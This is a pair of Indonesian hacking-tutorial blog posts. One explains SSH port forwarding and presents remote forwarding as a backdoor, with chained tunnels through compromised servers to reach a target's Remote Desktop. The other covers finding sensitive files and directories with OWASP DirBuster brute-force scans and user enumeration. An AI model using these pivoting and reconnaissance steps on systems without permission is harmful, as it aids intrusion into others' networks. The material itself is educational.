<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/ssh_tunnel.gif"><img class="aligncenter size-full wp-image-2202" title="ssh_tunnel" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/ssh_tunnel.gif" alt="" width="446" height="389" /></a>Dari gambar di atas jelas terlihat bahwa perbedaan antara local dan remote port forwarding.</p>
<ul>
<li style="text-align: justify;">Pada local port forwarding, komputer yang bertindak sebagai ssh client akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh server menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh client akan diforward ke tujuan dari komputer ssh server. Gambar di bawah ini ilustrasi lain dari ssh local port forwarding.</li>
</ul>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/local_port_forwarding21.png"><img class="aligncenter size-full wp-image-2222" title="local_port_forwarding2" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/local_port_forwarding21.png" alt="" width="371" height="169" /></a></p>
<ul>
<li style="text-align: justify;">Pada remote port forwarding, komputer yang bertindak sebagai ssh server akan menjadi titik masuk koneksi yang akan diforward dan komputer yang bertindak sebagai ssh client menjadi titik keluar. Jadi koneksi yang masuk ke titik masuk di komputer ssh server akan diforward ke tujuan dari komputer ssh client. Gambar di bawah ini ilustrasi lain dari ssh remote port forwarding.</li>
</ul>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding1.png"><img class="aligncenter size-full wp-image-2221" title="remote_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding1.png" alt="" width="371" height="169" /></a>Jadi yang perlu diingat dalam perbedaan antara local dan remote port forwarding adalah posisi titik masuk koneksi yang akan diforward. Bila titik masuknya ada di komputer yang berperan sebagai ssh client, maka itu adalah local port forwarding, namun bila titik masuknya di komputer ssh server, maka itu adalah remote port forwarding.</p>
<p style="text-align: justify;">Dalam bahasa sederhananya, disebut local karena dari sudut pandang ssh client, titik masuknya ada di localhost, dan disebut remote karena titik masuknya bukan di localhost, tapi di komputer ujung sana.</p>
<p style="text-align: justify;"><strong>Static vs Dynamic Port Forwarding</strong></p>
<p style="text-align: justify;">Sebenarnya dynamic port forwarding  termasuk local port forwarding juga karena pada dynamic port forwarding,  titik masuk koneksi yang akan diforward berada di komputer yang  berperan sebagai ssh client. Namun pada local dan remote port forwarding  biasa (static), IP address dan port asal dan tujuan harus disetting dulu sebelum bisa dipakai, jadi sifatnya statis.</p>
<div id="attachment_2234" class="wp-caption aligncenter" style="width: 385px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/static_port_forwarding.png"><img class="size-full wp-image-2234" title="static_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/static_port_forwarding.png" alt="" width="375" height="184" /></a><p class="wp-caption-text">(static) local port forwarding</p></div>
<p style="text-align: center;">
<p style="text-align: justify;">Gambar di atas adalah (static) local  port forwarding biasa. Pada local port forwarding biasa (static), setiap pemetaan port asal dan IP:port tujuannya harus disetting satu per satu. Jadi terlihat pada gambar di  atas, bila ada 3 tujuan yang ingin dihubungi, maka 3 pemetaan port asal dan IP:port tujuan harus disetting semua sebelum bisa dipakai.</p>
<p style="text-align: justify;">Pada gambar di atas terlihat di ssh client ada 3 port yang LISTEN (3 bulatan merah di sisi ssh client)  untuk 3 tujuan yang berbeda. Perlu dicatat juga bahwa ketiga pemetaan port forwarding tersebut dilakukan di atas satu koneksi ssh yang sama (multiple port forwarding on single ssh conection).</p>
<div id="attachment_2224" class="wp-caption aligncenter" style="width: 382px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/dynamic_port_forwarding.png"><img class="size-full wp-image-2224" title="dynamic_port_forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/dynamic_port_forwarding.png" alt="" width="372" height="181" /></a><p class="wp-caption-text">dynamic (local) port forwarding</p></div>
<p style="text-align: justify;">Sedangkan pada dynamic (local) port  forwarding, kita tidak perlu menentukan pemetaan port asal dan IP:tujuan untuk setiap tujuan. Kita hanya  perlu menentukan port  berapa yang akan LISTEN di localhost  (di komputer ssh  client), dan semua aplikasi bisa memanfaatkan  port tersebut sebagai  proxy ke tujuan manapun dengan protokol SOCKS (SOCKS proxy). Berbeda dengan gambar sebelumnya, pada dynamic port forwarding di sisi ssh client hanya ada satu port yang LISTEN (hanya ada satu bulatan merah).</p>
<p style="text-align: justify;"><strong>Multiple Port Forwarding on Single SSH Connection</strong></p>
<p style="text-align: justify;">Walaupun jarang dipakai, namun sebenarnya ssh mendukung banyak port forwarding dalam satu koneksi ssh. Kalau kita membutuhkan 3 local port forwarding dan 4 remote port forwarding, kita tidak perlu membuat 7 koneksi ssh, cukup satu koneksi ssh saja.<strong> </strong></p>
<div id="attachment_2241" class="wp-caption aligncenter" style="width: 389px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/multiple-port-forwarding.png"><img class="size-full wp-image-2241" title="multiple-port-forwarding" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/multiple-port-forwarding.png" alt="" width="379" height="186" /></a><p class="wp-caption-text">multi port forwarding on a single ssh connection</p></div>
<p style="text-align: justify;">Gambar di atas memperlihatkan ilustrasi multi port forwarding pada satu koneksi ssh yang sama. Dalam satu koneksi ssh tersebut port forwarding yang dibuat adalah:</p>
<ul>
<li>Panah berwarna hitam paling atas adalah local port forwarding.</li>
<li>Panah berwarna biru dan biru gelap di tengah adalah dynamic port forwarding.</li>
<li>Panah berwarna hijau paling bawah adalah remote port forwarding.</li>
</ul>
<p style="text-align: justify;">Daripada membuat 3 koneksi ssh untuk masing-masing port forwarding, jauh lebih sederhana dan praktis membuat multi port forwarding pada satu koneksi ssh.</p>
<p style="text-align: justify;"><strong>Membuat Local Port Forwarding</strong></p>
<p style="text-align: justify;">Sekarang setelah memahami konseptualnya, kita langsung praktek bagaimana membuat ssh tunnel dengan putty di Windows dan command line ssh di Linux.Command untuk membuat local port forwarding secara umum adalah:</p>
<pre>ssh -L localport:servertujuan:porttujuan user@ssh_server</pre>
<p style="text-align: justify;">Contohnya adalah:</p>
<pre>ssh -L 8888:www.kompas.com:80 admin@serverku.com</pre>
<p style="text-align: justify;">Perintah di atas akan membuat semua koneksi ke port 8888 di localhost, dialihkan ke www.kompas.com port 80 melalui serverku.com. Titik masuknya adalah localhost:8888 dan titik keluarnya adalah serverku.com. Bila kita membuka browser ke URL http://localhost:8888, request HTTP tersebut akan sampai di www.kompas.com:80 melalui serverku.com, artinya dari sudut pandang www.kompas.com koneksi berasal dari serverku.com, bukan dari komputer yang menjalankan perintah tersebut. Dalam log web server www.kompas.com, IP address visitor adalah ip address serverku.com, bukan ip address komputer yang menjalankan perintah tersebut.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/kompas_8888.png"><img class="aligncenter size-full wp-image-2231" title="kompas_8888" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/kompas_8888.png" alt="" width="571" height="317" /></a></p>
<p style="text-align: justify;">Kalau dalam windows, kita bisa gunakan putty.exe untuk membuat local port forwarding tunnel. Gambar di bawah ini adalah setting untuk forward koneksi localhost:8888 ke www.kompas.com:80. Caranya adalah dengan memasukkan 8888 ke dalam field &#8220;Source port&#8221;, dan memasukkan www.kompas.com:80 ke dalam field &#8220;Destination&#8221;. Setelah itu klik &#8220;Add&#8221;. Anda bisa menambahkan port forwarding yang lain sebanyak yang anda butuhkan dengan mengulang cara yang sama lalu klik &#8220;Add&#8221; lagi.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/putty_tunnel_8888.png"><img class="aligncenter size-full wp-image-2233" title="putty_tunnel_8888" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/putty_tunnel_8888.png" alt="" width="456" height="435" /></a></p>
<p><strong>Membuat Remote Port Forwarding</strong></p>
<p>Command untuk membuat remote port forwarding di Linux secara umum adalah:</p>
<pre>ssh -R remoteport:servertujuan:porttujuan user@ssh_server</pre>
<p style="text-align: justify;">Contohnya  adalah:</p>
<pre>ssh -R 8080:192.168.1.1:80 admin@serverku.com
</pre>
<p style="text-align: justify;">Perintah di atas akan membuat setiap koneksi ke serverku.com:8080 akan dialihkan ke 192.168.1.1 melalui komputer yang menjalankan perintah tersebut. Pada log server tujuan (192.168.1.1:80) yang terlihat dari koneksi yang masuk bukan ip address serverku.com. Server 192.168.1.1:80 akan melihat koneksi berasal dari komputer yang menjalankan perintah di tersebut (komputer ssh client).</p>
<p style="text-align: justify;">Kalau dengan putty caranya masukkan 9999 ke dalam kolom &#8220;Source port&#8221;, kemudian masukkan 192.168.1.1:80 sebagai kolom &#8220;Destination&#8221;, lalu klik Add. Anda bisa menambahkan banyak port forwarding dalam satu koneksi ssh, dengan cara yang sama, lalu klik Add sebanyak yang anda butuhkan.</p>
<p style="text-align: justify;">
<p><strong><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding_putty.png"><img class="aligncenter size-full wp-image-2244" title="remote_port_forwarding_putty" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/remote_port_forwarding_putty.png" alt="" width="449" height="429" /></a></strong></p>
<p style="text-align: justify;">Remote port forwarding ini sangat cocok dipakai sebagai backdoor. Bila seorang hacker telah berhasil menyusup hingga &#8220;behind enemy lines&#8221;, dia bisa membuat remote port forwarding tunnel dari &#8220;behind enemy lines&#8221; ke server di luar milik hacker. Ini artinya hacker telah membuat terowongan, dengan pintu masuk di luar, dan pintu keluar di &#8220;behind enemy lines&#8221;. Ingat pada Remote port forwarding, titik/pintu masuk adalah di sisi ssh server, dan titik/pintu keluar di ssh sisi client. Dengan memakai terowongan ini, hacker bisa masuk melalui pintu di servernya sendiri yang berada di luar, dan secara otomatis hacker tersebut masuk ke &#8220;behind enemy lines&#8221; karena pintu keluar dari terowongan ini ada di &#8220;behind enemy lines&#8221;.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/illustrationofrafahtunnels.jpg"><img class="aligncenter size-full wp-image-2247" title="illustrationofrafahtunnels" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/illustrationofrafahtunnels.jpg" alt="" width="555" height="268" /></a></p>
<p style="text-align: justify;"><strong>Chaining Tunnel<br />
</strong></p>
<p style="text-align: justify;">Terkadang ketika melakukan penetrasi, di dunia nyata keadaan tidaklah semulus dan seindah teori atau dalam lab. Firewall seringkali membuat kita tidak bisa bebas membuat koneksi ke server yang kita inginkan. Dalam situasi seperti ini kita harus berputar-putar melalu beberapa server, sampai kita bisa mencapai server target.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain.png"><img class="aligncenter size-full wp-image-2256" title="tunnelchain" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain.png" alt="" width="503" height="410" /></a></p>
<p style="text-align: justify;">Perhatikan gambar di atas, target yang akan diserang hacker adalah server D.D.D.D port 3389, yaitu Remote Desktop connection, hacker ingin melakukan remote desktop komputer tersebut. Namun server D hanya bisa diakses oleh server C, dan server C hanya bisa diakses dari A. Hacker sudah menguasai penuh server A dan C, bagaimana caranya hacker tersebut bisa remote desktop ke D ?</p>
<p style="text-align: justify;">Tujuan akhirnya adalah hacker ingin koneksi ke localhost:9999 di laptop backtracknya, akan diforward ke D.D.D.D:3389. Jadi nanti dia tinggal menjalankan RDP client dengan memasukkan localhost:9999, dan dia otomatis akan terkoneksi ke RDP di server D. Sebagai info tambahan, komputer A dan C adalah linux dengan ssh service  diaktifkan.</p>
<p style="text-align: justify;">Mari kita coba membuat semua tunnel ini purely hanya dengan ssh.</p>
<p style="text-align: justify;">1. Buat port forwarding localhost:9999 &#8211;&gt; C.C.C.C:8888 via A.A.A.A.</p>
<p style="text-align: justify;">Hacker menjalankan ssh client di backtracknya untuk membuat koneksi ke  ssh server A.A.A.A. Dalam koneksi ssh ini, dia membuat local port  forwarding 9999:C.C.C.C:8888, yang artinya adalah koneksi ke port 9999  di backtrack si hacker akan diforward ke C.C.C.C:8888 via A.A.A.A.</p>
<p style="text-align: justify;">2. Buat port forwarding C.C.C.C:8888 &#8211;&gt; D.D.D.D:3389 via C.C.C.C</p>
<p>Di komputer C, hacker membuat koneksi ssh ke localhost (ke C itu sendiri). Dalam koneksi ssh ke diri sendiri ini dia membuat local port forwarding 8888:D.D.D.D:3389. Artinya adalah koneksi ke C.C.C.C:8888 akan diforward ke D.D.D.D:3389 (via C.C.C.C itu sendiri).</p>
<p>Kita membuat 2 tunnel, yang pertama adalah tunnel dengan pintu masuk di backtrack hacker dan pintu keluar di A.A.A.A. Tunnel kedua adalah denngan pintu masuk dan pintu keluar di C juga.</p>
<p>Pada tunnel pertama, koneksi ke pintu masuk di backtrack hacker (localhost:9999), akan diforward ke C.C.C.C:8888 via A.A.A.A Sedangkan pada server C.C.C.C sudah dibuat port forwarding sehingga semua koneksi yang masuk ke C.C.C.C:8888 akan diforward menuju D.D.D.D:3389.</p>
<p>Jadi akhirnya nanti alurnya adalah:</p>
<p>localhost:9999 &#8211;&gt; C.C.C.C:8888 &#8211;&gt; D.D.D.D:3389</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain2.png"><img class="aligncenter size-full wp-image-2257" title="tunnelchain2" src="http://www.ilmuhacking.com/wp-content/uploads/2010/06/tunnelchain2.png" alt="" width="634" height="180" /></a></p>
<p style="text-align: justify;">Gambar di atas menunjukkan chain tunnel yang dibuat. Koneksi ke localhost:9999 akan diteruskan ke C.C.C.C:888 dan koneksi ke C.C.C.C:8888 akan diteruskan ke D.D.D.D:3389. Jadi sama artinya dengan koneksi ke localhost:9999 diteruskan ke D.D.D.D:3389.</p>
<p style="text-align: justify;">
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 4468px; width: 1px; height: 1px; overflow: hidden;">Pada  dynamic port forwarding kita bisa leluasa memforward koneksi ke IP  dan  port apapun tanpa harus membuat  tunnel untuk setiap koneksi. Kita  hanya  perlu mendefinisikan port berapa yang akan LISTEN di komputer  localhost  (dari sudut pandang ssh client), dan semua aplikasi bisa  memanfaatkan  port tersebut sebagai proxy ke tujuan manapun dengan  protokol SOCKS (SOCKS proxy).</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ilmuhacking?a=ohweUHVhBJM:SDJ7CV3cSX8:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/ilmuhacking?i=ohweUHVhBJM:SDJ7CV3cSX8:gIN9vFwOqvQ" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://www.ilmuhacking.com/how-to/kupas-tuntas-ssh-tunneling/feed/</wfw:commentRss>
		<slash:comments>28</slash:comments>
		</item>
		<item>
		<title>Berburu Direktori dan File Sensitif dengan DirBuster</title>
		<link>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/</link>
		<comments>http://www.ilmuhacking.com/web-security/berburu-direktori-dan-file-sensitif-dengan-dirbuster/#comments</comments>
		<pubDate>Wed, 05 May 2010 07:16:38 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2123</guid>
		<description><![CDATA[Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan &#8220;konyol&#8221;. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi. Direktori Sensitif Semua direktori atau file [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Mungkin anda akan terkejut bila mengetahui bahwa ada banyak website yang berhasil dihack/dideface hanya karena sebuah kesalahan &#8220;konyol&#8221;. Tidak dibutuhkan keahlian programming, SQL atau jurus njelimet lainnya, cuma membuka sebuah direktori yang berisi file-file sensitif, maka sebuah website akan bertekuk lutut. Ya benar, ini adalah fakta yang seringkali terjadi.</p>
<p><strong>Direktori Sensitif</strong></p>
<p style="text-align: justify;">Semua direktori atau file yang mengandung informasi berguna buat hacker untuk mendeface website anda, maka direktori itu termasuk sensitif. Beberapa direktori atau file yang tergolong sensitif antara lain:<span id="more-2123"></span></p>
<ul>
<li>Backup</li>
</ul>
<p style="text-align: justify;">Hal yang biasanya dibackup adalah database dan source script webnya. Bayangkan apa yang terjadi bila hacker berhasil mendapatkan seluruh file php dan &#8220;database dump&#8221; dalam satu file zip? Kalau anda berpikir itu tidak mungkin terjadi, anda salah besar, karena saya sering menemukan file backup berekstensi zip, tar.gz, atau sql berserakan di websitenya.</p>
<ul>
<li>Halaman Login</li>
</ul>
<p style="text-align: justify;">Ada banyak macam halaman login, umumnya adalah halaman login untuk mengelola isi website, yaitu CMS Administrator. Selain CMS, halaman login yang lain adalah phpMyAdmin, cpanel, Tomcat Admin Page, AXIS2 Admin Page dll. Tomcat dan AXIS2 adalah Java based webserver dan web service platform.</p>
<p style="text-align: justify;">Kenapa halaman login termasuk sensitif? Karena dengan mengetahui URL untuk menjadi Administrator website, seorang hacker bisa melakukan serangan SQL Injection, password guessing, dictionary attack dan brute force attack untuk membuat dirinya menjadi seorang administrator di website anda. Celakanya banyak website yang halaman login adminnya tidak menggunakan password yang kuat, bahkan menggunakan password default.</p>
<ul>
<li>Log file</li>
</ul>
<p style="text-align: justify;">Log file biasanya dipakai untuk tujuan debugging atau penelusuran kesalahan oleh web developer. Karena itu tidak heran bila dalam log file banyak mengandung informasi sensitif yang bisa dimanfaatkan hacker. File log ini berbeda-beda tergantung dari web aplikasi yang dipakai karena web developer punya kebebasan untuk membuat  atau tidak membuat file log.</p>
<p style="text-align: justify;">Salah satu contoh log file yang biasa ditemukan di web adalah WS_FTP.LOG, file ini dibuat oleh program WS_FTP, yaitu FTP Client. Setiap kali memakai program ini untuk upload ke web anda, WS_FTP akan otomatis memasukkan file WS_FTP.LOG ke dalam folder website anda. Dalam file WS_FTP.LOG ini seorang hacker bisa mendapatkan banyak informasi sensitif: antara lain IP address web server anda (banyak web yang menyembunyikan IP address sebenarnya dibalik NAT), full path lokasi document root web anda, username account hosting anda (bila dalam full path mengandung nama seperti /home/username/&#8230;./).</p>
<p style="text-align: justify;">WS_FTP.LOG juga bisa membocorkan isi sebuah direktori bila anda sudah mematikan fitur &#8220;Directory Indexing&#8221; atau membuat file index.html kosong. Seorang hacker yang tidak bisa melihat isi direktori karena directory index dimatikan atau ada file index.html kosong, bisa mencoba membuka WS_FTP.LOG di direktori itu. Bila ternyata file WS_FTP.LOG ada, maka file log itu akan membocorkan isi file dalam direktori tersebut.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/nodirectoryindex.png"><img class="aligncenter size-full wp-image-2126" title="nodirectoryindex" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/nodirectoryindex.png" alt="" width="455" height="105" /></a>Pesan error di atas umumnya dijumpai pada direktori yang ada, tapi directory indexing tidak diaktifkan, sehingga anda harus menebak nama file yang ada di direktori tersebut. Bila directory indexing diaktifkan, maka anda akan menemukan halaman dengan title &#8220;Index of /&#8221;.</p>
<ul>
<li>Versi Lama</li>
</ul>
<p style="text-align: justify;">Terkadang ketika sebuah website diupdate ke versi baru, file-file script lama disimpan dalam satu direktori bernama oldversion, version1 dan versi barunya dalam direktori /new/ atau /ver2/ atau /beta/. Menemukan beragam versi suatu web adalah kesempatan emas untuk menemukan celah keamanan karena biasanya web versi terbarunya memang tidak mengandung kelemahan, namun bila kita berhasil menemukan versi lamanya, akan ditemukan banyak celah keamanan.</p>
<p style="text-align: justify;">Saya pernah menemukan sebuah website yang securitynya bagus, saya tidak menemukan vulnerability di sana, namun ternyata dia lupa membuang versi lama dari web tersebut. Namun ternyata web versi lama yang mengandung banyak bug dari SQL injection sampai local file injection masih bisa diakses di direktori lain. Walaupun web versi terbaru securitynya bagus, namun jadi tidak berarti apa-apa karena hacker bisa menyerang dari web versi lamanya.</p>
<p style="text-align: justify;"><strong>Berburu Direktori dan File Sensitif<br />
</strong></p>
<p style="text-align: justify;">Nama direktori atau file bisa ditemukan dengan 2 cara:</p>
<ul>
<li>Crawling</li>
</ul>
<p style="text-align: justify;">Crawling ini adalah cara yang dipakai oleh search engine untuk mendapatkan isi website anda.  Ini adalah cara yang &#8220;sopan&#8221;, karena kita hanya mencari apa yang memang disediakan oleh pemilik webnya. Search engine crawling akan mengikuti direktori apa yang boleh dan apa yang tidak boleh diambil dalam file /robots.txt. Jadi bila ada direktori sensitif yang bisa di-search di Google, maka itu terjadi karena di suatu situs ada pointer ke obyek itu berupa link. Bila di seluruh jagat internet ini tidak ada satupun link ke direktori itu, maka tidak mungkin direktori itu muncul di Google.</p>
<p style="text-align: justify;">Kita bisa memanfaatkan Google Hacking untuk mencari direktori sensitif  yang sengaja atau tidak sengaja ter-index oleh Google. Kita juga bisa membuat script atau memakai program semacam wget untuk melakukan crawling website  (tidak memanfaatkan Google index). Menjalankan crawler sendiri terkadang diperlukan bila kita ingin melakukan crawling direktori yang search engine dilarang untuk masuk (diblacklist di /robots.txt).</p>
<ul>
<li>Guessing</li>
</ul>
<p>Bila dengan cara sopan tidak mendapatkan direktori sensitif, maka kita terpaksa pakai cara &#8220;kasar&#8221;. Mendapatkan direktori sensitif dengan cara ini sama dengan menebak password. Ada dua cara yang bisa dipakai:</p>
<ol>
<li>Pure Brute Force Attack</li>
<p style="text-align: justify;">Cara ini adalah cara yang paling kasar. Kita mencoba semua kemungkinan kata yang muncul dari huruf , angka dan karakter lain sebagai nama direktori atau nama file. Contoh: request /aa/, lalu /ab/, lalu /ac/, lalu /ad/, demikian seterusnya sampai semua kemungkinan yang ada dicoba. Cara ini membutuhkan waktu yang sangat lama, jadi kurang efektif. Tapi kelebihannya adalah tidak ada direktori yang lolos, karena semua kemungkinan akan dicoba.</p>
<li>Dictionary Attack</li>
<p style="text-align: justify;">Ini adalah cara yang lebih sopan dibanding pure brute force. Kita menggunakan kamus, yaitu kumpulan nama yang akan kita pakai untuk request ke web server. Efektif tidaknya cara ini tergantung dari bagaimana kualitas kamus yang dipakai. Semakin baik kualitas kamusnya, semakin besar kemungkinan berhasil mendapatkan direktori sensitif. Kamus yang baik adalah kamus berisi kata yang memang benar-benar pernah dipakai untuk nama direktori, jadi bukan nama fiktif atau karangan.</p>
</ol>
<p><strong>DirBuster dari OWASP</strong></p>
<p style="text-align: justify;">Dalam artikel ini saya akan menggunakan tools gratisan, <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">DirBuster</a> yang dibuat oleh OWASP (Open Web Application Security Project), sebuah kelompok non-profit yang berfokus pada keamanan web. Seperti yang sudah saya katakan sebelumnya, kekuatan tools semacam ini tergantung pada kualtias kamus yang dimilikinya.</p>
<p style="text-align: justify;">DirBuster memiliki kamus yang sangat lengkap, bukan nama fiktif yang tidak pernah dipakai, tapi memang benar-benar nama yang pernah dipakai sebagai nama direktori. Kumpulan nama ini didapatkan dari internet dengan cara melakukan crawling terhadap situs-situs internet lalu mengelompokkannya. Kumpulan nama yang dipakai minimal 3 situs berbeda ditaruh di file dengan akhiran small.txt, kumpulan nama yang dipakai minimal 2 situs berbeda ditaruh di file dengan akhiran medium.txt, dan semua nama yang ditemukan ditaruh dalam file berakhiran big.txt.</p>
<p style="text-align: justify;">Bila anda membutuhkan daftar nama direktori saja untuk dipakai di program lain, anda juga bisa mendownload kamusnya saja tanpa harus mendownload DirBuster.</p>
<p style="text-align: left;">Tools ini sangat mudah digunakan, jadi silakan saja langsung <a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project#tab=Download">download DirBuster</a>. Sebelumnya pastikan dulu komputer anda sudah terinstall Java, karena tools ini dibuat dengan Java.<a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_main.png"></a></p>
<p style="text-align: left;"><strong>Scanning Type</strong></p>
<p style="text-align: justify;">Ada dua jenis scanning yang bisa dilakukan, pure brute force atau dictionary based attack. Bila anda memilih memakai teknik pure brute force, maka anda harus menentukan character set (kumpulan karakter) yang akan dijadikan nama direktori dan tentukan juga panjang minimal dan maksimalnya. Semakin besar populasi dari character set yang anda pilih dan semakin panjang max length yang anda pilih, semakin besar kumpulan kata yang dihasilkan, itu artinya dibutuhkan waktu yang semakin lama untuk mencoba semuanya. Gambar di bawah ini adalah screenshot ketika memilih pure brute force.</p>
<p style="text-align: left;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_brute.png"><img class="aligncenter size-full wp-image-2134" title="dirbuster_brute" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_brute.png" alt="" width="538" height="175" /></a></p>
<p style="text-align: left;">Bila memilih list based brute force, maka kita harus memilih file berisi daftar nama direktori. DirBuster sudah menyediakan banyak dictionary yang bisa dipilih sesuai kebutuhan:</p>
<ul>
<li>directory-list-2.3-small.txt  (87650 words) : Minimal dipakai di 3 situs berbeda.</li>
<li>directory-list-2.3-medium.txt  (220546 words) : Minimal dipakai di 2 situs berbeda.</li>
<li>directory-list-2.3-big.txt  (1273819 words) : Minimal pernah dipakai.</li>
<li>directory-list-lowercase-2.3-small.txt  (81629 words) : Versi case insensitive dari directory-list-2.3-small.txt</li>
<li>directory-list-lowercase-2.3-medium.txt  (207629 words) : Versi case insensitive dari directory-list-2.3-medium.txt</li>
<li>directory-list-lowercase-2.3-big.txt  (1185240 words) : Versi case insensitive dari directory-list-2.3-big.txt</li>
<li>directory-list-1.0.txt  (141694 words)  : Daftar awalnya, tidak terurut</li>
<li>apache-user-enum-1.0.txt  (8916 usernames) : Dipakai untuk user enumeration, mendapatkan valid username di sebuah server</li>
<li>apache-user-enum-2.0.txt  (10341 usernames) : Dipakai untuk user enumeration</li>
</ul>
<p style="text-align: justify;">Dalam list yang disediakan DirBuster juga menyediakan daftar username yang dipakai untuk user enumeration, yaitu mendapatkan nama user yang valid di sebuah server. Dalam web server Apache yang mengaktifkan mod_userdir, bisa dilakukan user enumeration dengan cara menggunakan ~namauser sebagai nama direktori.</p>
<p style="text-align: justify;">Gambar di bawah ini adalah screenshot ketika kita memilih menggunakan dictionary attack.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_dictionary.png"><img class="aligncenter size-full wp-image-2136" title="dirbuster_dictionary" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_dictionary.png" alt="" width="709" height="84" /></a></p>
<p style="text-align: justify;"><strong>Starting Options</strong></p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_standard.png"><img class="aligncenter size-full  wp-image-2137" title="dirbuster_standard" src="http://www.ilmuhacking.com/wp-content/uploads/2010/05/dirbuster_standard.png" alt="" width="536" height="86" /></a></p>
<p style="text-align: justify;">Pilihan lain yang harus dipilih adalah starting options, yaitu di mana titik mulainya DirBuster mencari direktori. Pilihannya adalah standard start point, atau URL Fuzz. Standard start point adalah pilihan yang paling banyak digunakan karena pilihan ini berarti kita meminta DirBuster untuk menggunakan nama direktori sebagai titik awal.</p>
<p style="text-align: justify;">Pilihan yang ada ketika kita memilih Standard Start Point adalah checkbox Brute Force Dirs yang bisa dimatikan bila kita tidak ingin ingin membrute Direktori. Brute Force Files bisa dimatikan bila kita tidak ingin mencari file. Dua pilihan tersebut bisa diatur sesuai kebutuhan, apakah ingin mencari direktori dan nama file, atau direktori saja, atau nama file saja.</p>
<p style="text-align: justify;">Pilihan File extention bisa diisi dengan ekstensi file yang ingin dicari, misalnya bisa kita isi dengan php, zip, gz, tar.gz. Namun bila kita tidak ingin menggunakan ekstensi, kita bisa centang pilihan Use Blank Extention.</p>
<p style="text-align: justify;">Pilihan Be Recursive digunakan untuk membuat DirBuster melakukan pencarian secara mendalam (Deep First Search), yaitu mencari subdirektori dalam sebuah direktori, mencari sub-subdirektori dalam subdirektori dan seterusnya sampai kedalaman tertentu.</p>
